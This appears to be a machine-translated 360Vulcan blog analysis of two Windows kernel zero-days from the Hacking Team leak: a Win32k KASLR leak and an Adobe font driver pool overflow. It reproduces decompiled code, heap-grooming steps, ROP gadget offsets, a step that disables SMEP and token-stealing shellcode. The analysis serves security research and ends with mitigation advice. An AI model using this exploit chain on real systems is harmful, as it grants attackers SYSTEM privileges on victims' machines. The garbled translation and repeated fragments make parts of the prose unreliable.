360 Security Guard · 2015/07/14 10:32

Author: 360Vulcan Team members: MJ0011, PGBoy

0 x00 preface


This follows 360Vulcan’s analysis last week of three Flash vulnerabilities and one Adobe Font Driver kernel vulnerability exposed in Hacking Team’s leaks (see link below). New attack code and 0day vulnerabilities are still being discovered in Hacking Team leaks. On July 12th, Twitter @ vlad902 security researchers unveiled a Hacking Team email (https://wikileaks.org/hackingteam/emails/emailid/974752) may be a Windows elevated privileges in hole, And upload the attack code to making (https://github.com/vlad902/hacking-team-windows-kernel-lpe).

After our analysis, this attack code contains two 0day vulnerabilities of Windows kernel mode driver, one of which is a security feature (KASLR) bypass vulnerability of Windows kernel driver Win32K. sys. The other is a kernel code execution vulnerability caused by a kernel pool overflow in the Adobe font driver (atmdF.dll).

0x01 Vulnerability Principle analysis:


Through a simple browse of the attack code, we know that the attack code uses a KASLR in Win32k. Sys to bypass the vulnerability to obtain the base of Win32k, and organize the ROP chain. At the same time, load a font file (font-data.bin) to make use of the font driver vulnerability, trigger the ROP chain, and finally complete the attack.

0x02 Win32k.sys KASLR Bypass vulnerability


In Windows8.1 above the system, Microsoft enhanced the ease ability against KALSR, for the low integrity level and below the program, prohibit the access to the address information of the system kernel module, to ease the attack of kernel vulnerabilities against IE sandbox and other security mechanisms. In May 360, vulcan Team blog “about 15 years may repair three zero day” (http://blogs.360.cn/blog/fixed_three_0days_in_may/), we compare in detail introduced the background of this kind of problem, And a cnG. sys KASLR bypass vulnerability CVE-2015-1674 similar to this vulnerability. Here the Hacking Team is using a vulnerability where win32K processes font information in an uninitialized stack.

We combine the source code win32k_infoleak() function can know, Win32k kernel calls NtGdiGetTextMetricsW->GreGetTextMetrics->bGetTextMetrics to return an internal structure for the DC object to the output cache containing the tagTEXTMETRIC structure.

By analyzing the implementation of bGetTextMetrics, we can see that the function first checks whether a pointer to the font object used to cache the tagTEXTMETRIC structure is null. If not, the font information stored there is used directly. This speeds up the performance of the frequently invoked GetTextMetricsW.

If the cache structure is empty, the function calls bIFIMetricsToTextMetricW to get the font information and uses PALLOCMEM2 to allocate a chunk of cache structure memory to the font object for the next query to speed up.

This logic 0 x38 migration in copying, an alignment of stack information leakage problems, let’s take a look at the MSDN in definition of tagTEXTMETRIC (https://msdn.microsoft.com/en-us/library/aa911401.aspx), Can see x38 offset 0 is the last member of the data structure tmCharSet, it is of type BYTE, length is 1 BYTE, and the data structure in order to align, 7 bytes will supplement, in order to achieve 8 BYTE aligned (x86 systems complement 3 bytes), is the data structure alignment problem caused the information here.

In the bIFIMetricsToTextMetricW function, the stack space provided by external bGetTextMetrics is used to store the obtained tagTEXTMETRIC structure. The function does not initialize all the data in the stack before storage. So the seven bytes that are completed are still left in the stack space by other functions and are copied along with the data when it is later copied into the heap memory allocated for caching.

This results in information about other functions stored in the stack being stored in the cached tagTEXTMETRIC structure. The next time the program fetches this information through NtGdiGetTextMetricsW, it will fetch this information. If the information in the stack happens to be the kernel address information, the kernel module information will be leaked.

After debugging found that the latest patch of Windows8.1 x64, in the first call and storage cache structure, here the stack location just stored win32k! SetOrCreateRectRgnIndirectPublic + 0 x42 function of a return address, because there are only 7 bytes of address information, low 8 bits will be modified for tmCharSet numerical (usually zero), So the last thing you get from NtGdiGetTextMetricsW is the position of the garbage alignment space at the end of RGNOBJ::UpdateUserRgn.

This vulnerability is obviously not nearly as good as the cnG.sys leak we mentioned earlier:

First of all, the information on the stack may be unstable due to the change of call path or other reasons. Through our test, the stack position here is not the return address in some call paths, but other garbage data, which will directly lead to the failure of this vulnerability. The position of RGNOBJ::UpdateUserRgn changes at any time. At low integrity levels, the attack code can also be adjusted by identifying the version of Win32k. sys. At AppContainers(EPM) or Untrust levels, That’s why the attack code currently on Github doesn’t work on the latest full patch Windows 8.1 X64: the function’s location has changed.

Given that the attack code seen so far differs from the mature “commercial” attack code of the Windows kernel privilege promotion vulnerability leaked by Hacking Team and is only for demonstration purposes with many hard-coded examples, So it is likely that future authors of the attack code will replace this vulnerability with a more stable and usable address leakage vulnerability. After all, Microsoft is only just waking up to this kind of problem, and there are many similar bugs and problems in the kernel.

Adobe Font Driver(ATMDF.dll) Kernel Pool Overflow Vulnerability


Let’s take a look at some of the highlights of the attack code: Font vulnerability, we can see in the attack code using AddFontMemResourceEx function to load the font-data.bin OTF file, We tried to rename this file to an.otf file on Windows 7 (Explorer also loads this file when rendering it) and the system immediately crashed, but this did not happen on Windows8.1 x64. Was this bug fixed in Windows8.1?

On Windows7, the code 0x19 BAD_POOL_HEADER appears to be a Windows kernel pool overflow vulnerability. Did Windows 8.1 leak a kernel pool that happened not to be used, making it less likely to crash?

We turned on Driver Verifier and Speical Pool for Win32k.sys. For this function of the driver verifier, please refer to the introduction of Microsoft MSDN: https://msdn.microsoft.com/en-us/library/windows/hardware/ff551832 (v = versus 85). Aspx, this feature a Page of user mode Heap functions, The Windows kernel pool allocated by the specified module is placed in a special memory location so that the overflow of such a kernel pool is detected in the first place. With this feature enabled, we were able to trigger the blue screen crash of this vulnerability 100% on Windows 8.1 X64.

We can see the stack crash (in this case triggered by browsing font files on the desktop, hence the NtGdiAddFontResourceW function)

Atmfd... . win32k! atmfdLoadFontFile win32k! PDEVOBJ::LoadFontFile win32k! vLoadFontFileView win32k! PUBLIC_PFTOBJ::bLoadFonts win32k! GreAddFontResourceWInternal win32k! NtGdiAddFontResourceWCopy the code

In the PUBLIC_PFTOBJ::bLoadFonts function, Win32k. sys will map the font to the kernel. After some processing of the font object, it will call the font driver corresponding to the font. The Adobe OTF font here finally triggers the atmfdLoadFontFile function, which outputs the package of the loading font interface and is executed in the atMFD.dll code to implement the final font loading process.

Atmfd. DLL is the driver of Adobe code compilation, here Microsoft does not provide symbol files for this driver, so it is relatively difficult to analyze. We further analyze the process of processing this font in ATFMD. DLL and finally trigger the vulnerability by analyzing the code execution flow, combining with kernel debugging and font analysis tools (such as T2F Analyzer) :

  1. throughwin32k! atmfdLoadFontFileEnter atMFD+0x13DE0The position function, called AtmfdLoadFont, which is the loading font interface in atMFD.dll, recognizes the format type of the font, fills in the relevant font structure, and hands it off to the following functions that further load the font
  2. Enter the offset through AtmfdLoadFont+0x178F0We call it AtmfdLoadFontInternal. This function further analyzes and processes the information of the font (such as the file time of the font), and maps the font file to the kernel through functions such as EngMapFontFile. After the mapping is completed, this function determines that the type of the font is OTF. It then enters a function dedicated to processing OTF font information.
  3. Through AtmfdLoadFontFileInternal into the deviation+0x17D55We’ll call it ProcessOTFFontInfo, which starts parsing the contents of each table in a font file. Then we see a feature for ‘GPOS’ that’s labeled “kern” (Kerning, FeatureRecord function for FeatureTag to handle word spacing.
  4. Go to this FeatureRecord function that deals specifically with “kern”, offset+0x23128, we call it ProcessKerningRecord. This is where we get to the more critical and complicated details.

This function analyzes FeatureList for GPOS tables, finds FeatureRecord with a FreatureTag of “Kern”, and then checks its FeatureTable Lookups. Once it finds a valid Lookups, This function starts to analyze the LookupTable of each Lookups. Each Lookups can have multiple lookuptables, where each LookupTable can have multiple subtables. According to the PosFormat of different subtables, the function will perform different processing. PosFormat = 2 for SubTable will enter a function to handle this Format

[ProcessFormat2SubTable] [ProcessFormat2SubTable] [ProcessFormat2SubTable] [ProcessFormat2SubTable] [ProcessFormat2SubTable] [ProcessFormat2SubTable] [ProcessFormat2SubTable] 0x20 * ClassXCount = memory size, that is, 0x20 is the length of one item, and then allocate the corresponding length of memory. The function offset 0x21D08 (which we call CopyClassDefData) then calls to copy the data from ClassDef1 and ClassDef2 of the SubTable into these memories, and the first item in these memories is copied to a 0x20 byte special data.

The decompiled code for this logic is as follows:

#! c+ 01 Class1DefBuf = AllocMemory(32i64 * (unsigned int)Class1Count, v23, 1, 1); 02 if ( Class1DefBuf ) 03 { 04 Class2DefBuf = AllocMemory(32i64 * Class2Count, v24, 1, 1); 05 if ( Class2DefBuf ) 06 { 07 Class1DefSrc = *(_BYTE *)(SubTableObject + 9) | (unsigned __int16)(*(_WORD *)(SubTableObject + 8) << 8); 08 LODWORD(v50) = Class1Count; 09 v55 = CopyClassDefData( 10 SubTableObject, 11 Class1DefSrc, 12 TableEnd, 13 GlyphsCount, 14 (__int64)v50, 15 (__int64)arg_40, 16 FirstBuf, 17 Class1DefBuf); 18 if ( v55 == 1 ) 19 { 20 v55 = 0; 21 Class2DefSrc = *(_BYTE *)(SubTableObject + 11) | (unsigned __int16)(*(_WORD *)(SubTableObject + 10) << 8); 22 v27 = Class2Count; 23 LODWORD(v50) = Class2Count; 24 v55 = CopyClassDefData( 25 SubTableObject, 26 Class2DefSrc, 27 TableEnd, 28 GlyphsCount, 29 (__int64)v50, 30 (__int64)arg_40, 31 FirstBuf, 32 Class2DefBuf);Copy the code

AllocateMemory (offset 0x28080) encapsulates EngAllocMem output from win32k.sys, which is why we set the validator for Win32K. sys to catch atMFD kernel pool overflow: The final memory allocation of ATMFD. DLL is also achieved by Win32k. Sys (EngAllocMem).

The AllocateMemory encapsulation here has a special feature, which is also one of the reasons why this vulnerability can be triggered: if the length of allocated memory is 0, it will not fail, because the encapsulation will always AllocateMemory length +8, and fill the first two DWORD, 8 bytes, as: Length, and ‘ebdA'(Adobe’s short for TAG), return the actual allocated memory location +8 to the caller.

That is, when the AllocateMemory logic here says Class1Count or Class2Count equals 0 and asks to allocate 0 bytes of memory, it doesn’t fail (the function logic checks for memory allocation failures), it continues, The following CopyClassDefData function actually gets a cache with a valid length of 0. The code writer didn’t check or handle Class1Count 0, and AllocateMemory hides Class1Count 0 and lets the function continue. This is the first mistake the code writer made.

Even if the wrong size of memory was allocated, there would have been no problem if the subsequent copy had been strictly Class1Count, but here the writer then made a second error, as mentioned above, The CopyClassDefData function copies the first ClassBuf item with a special item size (0x20). CopyClassDefData does not check whether Class1Count is 0, but copies the data directly to the first item of the target memory. Since the size of the copy exceeds the allocated size, it naturally causes a heap overflow, overwriting the data behind the kernel pool.

Using T2F Analyzer, we can see the abnormal data structure of the vulnerable font. First, we use T2F Analyzer to open the font file with the vulnerability.

It is important to note that T2F Analyzer will use AddFontResouceExA to load fonts into the kernel at the end of the font parsing process, which will cause the font file to crash when opened on an unpatched system using the tool directly. Here, simply use the debugger to break AddFontResourceExA. Prevent the font file from loading and continue to use its parsing capabilities.

First, open up the font file, go to Advanced Typography Tables->GPOS Table, open up FeatureList, and see that FeatureTag is FeatureRecord for “Kern”. This FeatureRecord LookupCount = 1 and its LookupIndex = 1

Open LookupList and look at the Lookup for Index = 1:

As we guessed earlier, Class1Count here is equal to 0, which is the root cause of this vulnerability.

0x04 Vulnerability exploited


This section describes the Adobe Font Driver kernel pool overflow vulnerability, and takes a look at how attacking code can exploit this vulnerability to implement kernel code execution and enhance permissions.

In the attack code, the author takes advantage of the kernel’s heap feng shui techniques to ensure that the kernel pool overflow ends up overwriting the object we specify.

First, a large number (5,000) of Accelerator Table objects are allocated in the attack code. Doing so makes it possible to follow the object in a contiguous segment of memory. On Windows8 x64, the Accelerator Table object is of size 0x28. The attack code is then released back in the center of the just-assigned Accelerator Table object (3600-4600).

After the release of the Accelerator Table, will use CreateDCompositionHwndTarget create CHwndTargetProp object.

CHwndTargetProp objects and their corresponding distribution, release function CreateDCompositionHwndTarget/DestroyDCompositionHwndTarget is from Microsoft Windows began to introduce a set of target window of “composition” object management functions Number, is Windows8 since Microsoft’s new UI system part, only to provide some internal function use, we create these objects, but also need to create the corresponding window object.

The author chose the CHwndTargetProp object carefully because it is the same size as the Accelerator Table object, which is 0x28 bytes, and thus occupies the memory of the Accelerator Table that was just released.

The attack code then releases the specified number from the middle of the CHwndTargetProp object, creating a hole again in the CHwndTargetProp section of the Accelerator Table.

During font loading, the small memory ClassDefBuf allocated falls into the set void, and the kernel pool overwrites the data content of the CHwndTargetProp.

The entire kernel pool layout manipulation process is shown below:

Since Windows8 after Microsoft has removed a lot of Win32k structure information, so CHwndTargetProp data structure can only be analyzed by guessing, we use the kernel debugger to analyze a CHwndTargetProp object:

kd> dps fffff901443cdf40 fffff901`443cdf40 fffff960`00526d00 win32k! CHwndTargetProp:: 'vftable' ffffF901 '443CDf48 FFFFF901' 4082D9B0 ffFFF901 '443CDF50 00000000' 00000000 FFFFF901 '443CDf58 ffffe001`2ed25d60 fffff901`443cdf60 00000000`00000000 fffff901`443cdf68 00000000`00000001Copy the code

Select * from virtual table; select * from virtual table;

kd> dps fffff960`00526d00 fffff960`00526d00 fffff960`0031f470 win32k! CHwndTargetProp::Delete fffff960`00526d08 fffff960`003b1378 win32k! CHwndTargetProp::GetAtom fffff960`00526d10 48273f8a`8c7ed206 fffff960`00526d18 6cfcae1f`9eaeabb3Copy the code

As mentioned earlier, the assignment memory can overwrite the following objects during the loading of the font. Because we have carefully laid out the heap, we can override the virtual table of the particular CHwndTargetProp to replace its virtual table member function with the function we want to execute. We can see that in the attack code, memory is allocated at the fixed location (PAYLOAD_BASE) and dummy virtual table is constructed:

#! c++ 1 #define PAYLOAD_BASE 0x42000000 2 3 *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x19fab; // pop rax # ret <-- RAX [win32k! CHwndTargetProp::Delete] 4 *(ULONGLONG*)(PAYLOAD_BASE + 0x5008) = win32k_base_addr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. [win32k!CHwndTargetProp::GetAtom]Copy the code

When CHwndTargetProp virtual table is covered, the attack code call DestroyDCompositionHwndTarget function to release CHwndTargetProp again, the final call to the kernel, will jump to attack code has set up a good virtual table function.

Win32k! Is called first. CHwndTargetProp::GetAtom then call win32K! CHwndTargetProp: : Delete.

The CHwndTargetProp virtual table function is called three times in total:

DestroyDCompositionHwndTarget process:

First time: Win32K! CHwndTargetProp::GetAtom

Second time: Win32K! CHwndTargetProp::Delete

DeatoryWindow process:

Third time: Win32K! CHwndTargetProp::Delete

In order to bypass the SMEP protection of Windows8 system, the virtual table function cannot use ShellCode located in ring3, so it needs to use the code snippet in win32k.sys to build ROP, turn off SMEP, This is why the attack code needs to use KASLR of Win32K.sys to bypass the vulnerability: in order to build the ROP chain needed here. The whole process of constructing ROP chain is as follows:

Ntoskrnl = ntoskrnl = ntoskrnl = ntoskrnl! ExAllocatePoolWithTag import table addresses, and then operate the ROP chain to read function addresses:

#! c++ 1 *(ULONGLONG*)(PAYLOAD_BASE + 0x5010) = win32k_base_addr + 0x19fab; // pop rax # ret (RAX is source for our write) 2 *(ULONGLONG*)(PAYLOAD_BASE + 0x5018) = win32k_base_addr + 0x352220; // pop into rax (pointer to leaked address of `ntoskrnl! ExAllocatePoolWithTag` that win32k imports) 3 *(ULONGLONG*)(PAYLOAD_BASE + 0x5020) = win32k_base_addr + 0x98156; // pop rcx # ret (RCX is destination for our write) 4 *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = PAYLOAD_BASE + 0x100; // pop into rcx (memory to write leaked address) 5 *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = win32k_base_addr + 0xc432f; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])Copy the code

Step 2: Since subsequent processes will also call the virtual table, the stack must first be repaired so that the second call to the function returns normally.

#! c++ 01 *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = win32k_base_addr + 0x14db; // pop rbx # ret 02 *(ULONGLONG*)(PAYLOAD_BASE + 0x5040) = PAYLOAD_BASE + 0x5100; // this will clobber the existing vTable object pointer (RBX) --------------------- 03 // | 04 // Setup the new fake vTable at 0x42005100. We don't do anything interesting | 05 // with the second call. We just want it to return nicely. |  06 *(ULONGLONG*)(PAYLOAD_BASE + 0x5100) = PAYLOAD_BASE + 0x5110; // double-dereference to get to gadget (actual ROP chain | 07 *(ULONGLONG*)(PAYLOAD_BASE + 0x5108) = PAYLOAD_BASE + 0x5110; // (arbitrary pointer to pointer) continues here) | 08 *(ULONGLONG*)(PAYLOAD_BASE + 0x5110) = win32k_base_addr + 0x6e314; // (`RET` gadget) | 09 // | 10 // Resume execution. Restore original stack pointer. | 11 *(ULONGLONG*)(PAYLOAD_BASE + 0x5048) = win32k_base_addr + 0x7018e; // mov rax, r11 # ret (register holding a value close to original stack pointer) <- 12 *(ULONGLONG*)(PAYLOAD_BASE + 0x5050) = win32k_base_addr + 0x98156; // pop rcx # ret 13 *(ULONGLONG*)(PAYLOAD_BASE + 0x5058) = 0x8; // pop into rcx 14 *(ULONGLONG*)(PAYLOAD_BASE + 0x5060) = win32k_base_addr + 0xee38f; // add rax, rcx # ret (adjust the stack pointer) 15 *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = win32k_base_addr + 0x1f8c1; // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # retCopy the code

Step 3, according to ntoskrnl! ExAllocatePoolWithTag addresses are hard-coded to calculate the base address of ntoskrnl

#! c++ 1 ExAllocatePoolWithTag_offset = 0x2a3a50; 2 nt_base_addr = *(ULONGLONG *)(PAYLOAD_BASE + 0x100) - ExAllocatePoolWithTag_offset;Copy the code

The fourth step is to find the base address of ntoskrnl in order to close SMEP using the code that operates on the CR4 SMEP bits. Therefore, this step is to build the ROP chain and close SMEP. The ROP chain in this case is triggered by DestroyWindow

#! c++ 01 *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x189a3a; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret 02 *(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = 0x41414141; // filler 03 *(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = 0x41414141; // filler 04 *(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = 0x41414141; // filler 05 *(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = 0x41414141; // filler 06 *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = win32k_base_addr + 0x19fab; // pop rax # ret 07 *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = 0x406f8; // pop into rax, cr4 value 08 *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = nt_base_addr + 0x38a3cc; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget) 09 *(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = 0x41414141; // filler 10 *(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = 0x41414141; // filler 11 *(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = 0x41414141; // filler 12 *(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x41414141; // filler 13 *(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = 0x41414141; Step 5, where SMEP is closed, jump directly to ShellCode in user mode, And actually delete CHwndTargetProp object 1 *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = PAYLOAD_BASE; // return to userland and win! 2 *(ULONGLONG*)(PAYLOAD_BASE + 0x5070) = win32k_base_addr + 0x165010; // CHwndTargetProp::Delete(void)Copy the code

The ShellCode in the attack code is a simple code that replaces the System token of this process with the winlogon token:

#! c++ 01 char sc[] = { 02 '\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack 03 '\x41', '\x51', // push r9 save regs 04 '\x41', '\x52', // push r10 05 '\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB) 06 '\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD 07 '\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess 08 '\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink 09 '\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS 10 '\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon) 11 '\x75', '\xe5', // jnz $a no? then keep searching! 12 '\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid 13 '\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000 14 '\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later 15 '\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token 16 '\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address 17 '\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10 18 '\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token 19 '\x41', '\x5A', // pop r10 restore regs 20 '\x41', '\x59', // pop r9 21 '\x41', '\x53', // push r11, pointer near to original stack 22 '\x5C', // pop rsp 23 '\x48', '\x81', '\xC4', '\x68', '\x01', '\x00', '\x00', // add rsp, 0x168, restore original kernel rsp 24 '\x4C', '\x89', '\x3C', '\x24', // mov [rsp], r15, restore original return address 25 '\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void) 26 0 27 };Copy the code

0x05 Vulnerability mitigation


Atmfd font bugs are rampant recently. It is recommended to disable atMFD. DLL (directly rename it). 10 for Windows users, you can use the mitigation strategies to prevent untrusted font loading, this feature in January this year we introduced (http://blogs.360.cn/blog/windows10_font_security_mitigations/), Microsoft may be documented: https://msdn.microsoft.com/en-us/library/dn985836%28v=vs.85%29.aspx